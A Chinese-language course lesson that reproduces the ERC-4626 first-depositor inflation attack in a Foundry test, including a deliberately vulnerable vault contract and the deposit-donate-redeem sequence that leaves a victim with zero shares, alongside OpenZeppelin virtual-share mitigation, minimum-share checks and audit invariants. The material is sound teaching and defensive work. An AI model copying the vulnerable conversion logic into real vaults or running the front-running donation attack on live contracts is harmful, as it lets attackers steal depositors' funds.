智能合约与以太坊 / 系统课时

复现 ERC-4626 首存份额攻击

复现 ERC-4626 首存份额攻击

使用 Foundry 构造一个空 ERC-4626 金库,模拟攻击者抢先存入、直接捐赠代币和受害者随后存款的过程。通过对比旧式份额换算与 OpenZeppelin 虚拟份额方案,验证攻击利润、零份额风险和有效的防护检查。

学习目标

  • 解释首存攻击中资产余额、份额总量和舍入误差的关系。
  • 编写 Foundry 测试,复现受害者存款后获得零份额的情况。
  • 验证虚拟资产、虚拟份额和最小份额限制的缓解效果。

攻击为什么发生

ERC-4626 将用户存入的底层资产换成金库份额。正常情况下,份额代表对金库资产的按比例索取权。对于不包含虚拟资产和虚拟份额的旧式实现,非空金库的存款换算通常为:

shares=⌊assets×totalSupplytotalAssets⌋shares=\left\lfloor\frac{assets\times totalSupply}{totalAssets}\right\rfloor

其中 assets 是本次存款数量,totalSupply 是已有份额,totalAssets 是存款前金库管理的资产。存款获得的份额向下取整。

攻击者利用两个事实:直接向金库地址转账可以增加资产余额,却不增加份额总量;当份额价格被抬高后,小额存款换算出的份额可能不足 1 个最小单位,最终舍入为零。

假设底层代币以最小整数单位计数,金库初始为空,攻击过程如下。

操作 金库资产 份额总量 操作者获得份额
初始状态 0 0 0
攻击者存入 1 1 1 1
攻击者直接捐赠 100 101 1 0
受害者存入 100 201 1 0
攻击者赎回 1 份额 0 0 赎回 201 资产

受害者的份额计算结果为 floor(100 × 1 / 101) = 0。攻击者总共投入 101 单位,最后取回 201 单位,净获利 100 单位,恰好对应受害者的损失。本例没有手续费或外部收益,且不代表所有 ERC-4626 实现都有漏洞。

构造攻击交易顺序

攻击需要在受害者存款执行之前改变金库的兑换价格。攻击者通常监视待处理存款交易,提前提交自己的存款和捐赠操作;实际能否抢先执行,取决于交易排序和区块构建环境。

ERC-4626 首存份额膨胀攻击时序

需要特别区分 transfer 和 deposit:前者只移动 ERC-20 代币,后者才执行 ERC-4626 的份额铸造逻辑。如果金库通过底层代币余额计算 totalAssets(),直接捐赠会改变兑换比例。

当金库采用独立记账的资产总额时,未经授权的直接转账未必立即影响兑换比例,但必须额外验证真实资产、内部账本以及后续收益同步之间的一致性。

使用 Foundry 复现漏洞

示例适用于 Solidity 0.8.20、Foundry 和 OpenZeppelin Contracts 5.x。使用 OpenZeppelin 的标准 ERC-4626 作为安全对照,再通过覆盖内部换算函数,模拟未加入虚拟资产和虚拟份额的旧式实现。

在新建的 Foundry 工程中安装依赖:

bash
forge init erc4626-lab
cd erc4626-lab
forge install OpenZeppelin/openzeppelin-contracts@v5.0.2

预期结果:工程存在 lib/openzeppelin-contracts 依赖目录。命令输出与安装路径因环境而异。项目需要可访问 GitHub,并且安装有 Git 和 Foundry。

将以下完整代码保存为 test/ERC4626Inflation.t.sol。为了让示例的每个数字可以直接核对,底层代币设置为 0 位小数;这是教学用整数资产模型,不是对实际 ERC-20 精度的默认假设。

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";

contract MockAsset is ERC20 {
    constructor() ERC20("Asset", "AST") {}

    function decimals() public pure override returns (uint8) {
        return 0;
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

// 教学用脆弱实现:恢复不含虚拟资产和份额的旧式换算。
contract VulnerableVault is ERC4626 {
    constructor(IERC20 asset_) ERC20("Legacy Vault", "LV") ERC4626(asset_) {}

    function _convertToShares(uint256 assets, Math.Rounding rounding)
        internal view override returns (uint256)
    {
        uint256 supply = totalSupply();
        return supply == 0
            ? assets
            : Math.mulDiv(assets, supply, totalAssets(), rounding);
    }

    function _convertToAssets(uint256 shares, Math.Rounding rounding)
        internal view override returns (uint256)
    {
        uint256 supply = totalSupply();
        return supply == 0
            ? shares
            : Math.mulDiv(shares, totalAssets(), supply, rounding);
    }
}

// OpenZeppelin 5.x 默认换算包含虚拟资产和虚拟份额。
contract ProtectedVault is ERC4626 {
    constructor(IERC20 asset_) ERC20("Protected Vault", "PV") ERC4626(asset_) {}

    function _decimalsOffset() internal pure override returns (uint8) {
        return 3;
    }
}

contract ERC4626InflationTest is Test {
    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");

    function testLegacyVaultInflation() public {
        MockAsset asset = new MockAsset();
        VulnerableVault vault = new VulnerableVault(IERC20(address(asset)));
        asset.mint(attacker, 101);
        asset.mint(victim, 100);

        vm.startPrank(attacker);
        asset.approve(address(vault), 101);
        vault.deposit(1, attacker);
        asset.transfer(address(vault), 100);
        vm.stopPrank();

        // 捐赠抬高资产价格,受害者的 100 单位存款铸造 0 份额。
        assertEq(vault.previewDeposit(100), 0);
        vm.startPrank(victim);
        asset.approve(address(vault), 100);
        uint256 shares = vault.deposit(100, victim);
        vm.stopPrank();
        assertEq(shares, 0);

        vm.prank(attacker);
        uint256 recovered = vault.redeem(1, attacker, attacker);
        assertEq(recovered, 201);
        assertEq(asset.balanceOf(victim), 0);
    }

    function testVirtualSharesMitigateInflation() public {
        MockAsset asset = new MockAsset();
        ProtectedVault vault = new ProtectedVault(IERC20(address(asset)));
        asset.mint(attacker, 101);
        asset.mint(victim, 100);

        vm.startPrank(attacker);
        asset.approve(address(vault), 101);
        uint256 initialShares = vault.deposit(1, attacker);
        asset.transfer(address(vault), 100);
        vm.stopPrank();
        assertEq(initialShares, 1000);

        // offset 为 3 时,存款仍能获得非零份额。
        assertEq(vault.previewDeposit(100), 1960);
        vm.startPrank(victim);
        asset.approve(address(vault), 100);
        uint256 shares = vault.deposit(100, victim);
        vm.stopPrank();
        assertEq(shares, 1960);

        vm.prank(attacker);
        uint256 recovered = vault.redeem(initialShares, attacker, attacker);
        assertEq(recovered, 51);
        assertLt(recovered, 101);
    }
}

在 foundry.toml 中使用 Foundry 默认的 lib 依赖目录即可;上述依赖在 OpenZeppelin 5.0.2 下可通过包名解析。执行:

bash
forge test --match-contract ERC4626InflationTest

预期结果(省略编译进度与耗时):

text
[PASS] testLegacyVaultInflation()
[PASS] testVirtualSharesMitigateInflation()
Suite result: ok. 2 passed; 0 failed

第一项测试证明旧式金库没有阻止受害者获得零份额;第二项证明虚拟份额机制可以显著增加攻击成本。测试中的攻击者、受害者地址由 Foundry 生成,实际地址可能不同。

对比虚拟份额防护效果

OpenZeppelin Contracts 5.x 的 ERC-4626 在份额转换中引入虚拟资产和虚拟份额,换算关系为:

shares=⌊assets×(totalSupply+10δ)totalAssets+1⌋shares=\left\lfloor\frac{assets\times(totalSupply+10^\delta)}{totalAssets+1}\right\rfloor

其中 δ\delta 为 _decimalsOffset()。本例设置为 3,因此存在 1000 个计算用虚拟份额和 1 个计算用虚拟资产。这些虚拟数值参与换算,但不是实际铸造给某个地址的 ERC-20 份额,也不是额外转入的真实资产。

保护方案中,攻击者首次存入 1 单位得到 1000 份额。捐赠 100 单位后,实际份额为 1000、资产为 101。受害者存入 100 单位时获得:

⌊100×(1000+1000)101+1⌋=1960\left\lfloor\frac{100\times(1000+1000)}{101+1}\right\rfloor=1960

攻击者赎回自己的 1000 份额时,向下取整仅能取回 51 单位资产,相比其投入的 101 单位损失 50 单位。部分捐赠价值被虚拟份额机制吸收,无法由攻击者全部赎回。

校验项 旧式金库 虚拟份额金库
攻击者初始存款 1 1
攻击者捐赠 100 100
受害者存款 100 100
受害者获得份额 0 1960
攻击者赎回资产 201 51
攻击者净收益 +100 -50

增加存款滑点与会计不变量检查

在协议集成层,不能仅仅因为 deposit 没有回滚就认定存款成功。更严格的验收规则是:对于用户指定的最小份额数 minShares,实际获得份额必须不低于这个数值。

假设用户准备存入 100 单位,预期至少获得 90 份额,可以在受控包装合约中加入以下逻辑。下面是片段示例,依赖调用方拥有底层资产、已完成必要授权和安全的资产转移流程,不是可单独部署的完整路由器。

solidity
uint256 shares = vault.deposit(100, address(this));
require(shares >= 90, "INSUFFICIENT_SHARES");

预期结果:当返回份额小于 90 时交易回滚;满足要求时继续执行。这里的 90 仅用于说明检查方式,真实阈值应基于报价和用户认可的滑点设置。在包装合约中还需验证资产来源、份额接收者及转交给最终用户的逻辑,避免资产被留在包装合约内。直接调用 ERC-4626 的标准 deposit 接口没有 minShares 参数,不能假设它自动进行该检查。

审计时至少覆盖以下不变量和边界:

  • 正常存款:存入正数资产后,实际收到的份额满足用户设置的下限,否则整体回滚。
  • 直接捐赠:转入 100 单位资产不应凭空增加任何地址的真实份额余额或 totalSupply。
  • 赎回守恒:在无手续费和外部收益的测试环境中,赎回转出的资产应与金库实际余额变化一致。
  • 零份额场景:存入正数资产却获得零份额必须由业务层明确拒绝,不能当成正常存款成功。
  • 极端数值:分别测试 1 单位存款、超大捐赠和不同 _decimalsOffset(),检查舍入、溢出与资产精度。

还需要检查 totalAssets() 的定义是否覆盖借贷仓位、策略负债、待提取资产和直接捐赠。对于有外部策略的金库,代币余额可能不等于资产总额,不能机械地将两者设为同一个数值。

实际修复应优先采用经过审查的 ERC-4626 实现,并根据资产精度选择合理的虚拟份额偏移量;在用户入口另外增加最小份额保护。审计报告需要同时给出攻击交易顺序、受害者获得份额、攻击者最终资产余额和不变量检查结果,而不能只展示一次成功的 deposit 调用。

按自己的节奏,确认真正理解。

目录与阅读设置

阅读设置

17

记录一个想法

复现 ERC-4626 首存份额攻击

0 / 10000 · 笔记保存到账号。未提交的修改会在关闭、离开或刷新后丢失。

登录哪都通